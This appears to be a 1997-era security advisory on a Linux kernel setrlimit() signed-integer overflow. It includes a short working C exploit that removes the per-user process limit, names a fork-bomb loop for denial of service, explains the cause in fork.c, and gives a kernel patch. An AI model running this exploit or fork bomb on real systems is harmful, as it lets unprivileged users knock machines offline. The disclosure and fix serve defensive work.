COMMAND
setrlimit()
SYSTEMS AFFECTED
Linux (kernels up 2.0.29 & 2.1.x)
PROBLEM
Solar Designeer posted following about integer overflow.
Following exploit works on kernels up to 2.0.29; needs to be
changed to work on 2.1.x):
#include <stdio.h>
#include <sys/resource.h>
#include <unistd.h>
main() {
struct rlimit rl;
rl.rlim_max = rl.rlim_cur = 0x80000000;
if (setrlimit(RLIMIT_NPROC, &rl)) perror("setrlimit");
execl("/bin/sh", "sh", NULL);
}
The code above removes the limit on number of processes when
running as a non-root user. Then a simple 'while (1) fork();'
running as that user would cause a denial of service regardless
of a limit being previously set.
The reason setrlimit() call succeeds is that users are allowed to
decrease their resource limits, but the comparison is signed, so
negative values are always allowed to set. However, some other
syscalls don't handle negative values properly. For example,
find_empty_process() in kernel/fork.c first decreases the value
twice, allowing two magic values (0x80000000 and 0x80000001) to
effectively become huge positive ones. Some other syscalls use
the limits as unsigned.
SOLUTION
The setrlimit() hole got fixed in 2.0.30 (but not in 2.1.x yet;
fork() is not vulnerable though, while some other syscalls
relying on rlimits are vulnerable. Workaround:
+++ kernel/sys.c Wed Mar 26 16:54:01 1997
@@ -854,6 +854,8 @@
if (err)
return err;
memcpy_fromfs(&new_rlim, rlim, sizeof(*rlim));
+ if (new_rlim.rlim_cur < 0 || new_rlim.rlim_max < 0)
+ return -EINVAL;
old_rlim = current->rlim + resource;
if (((new_rlim.rlim_cur > old_rlim->rlim_max) ||
(new_rlim.rlim_max > old_rlim->rlim_max)) &&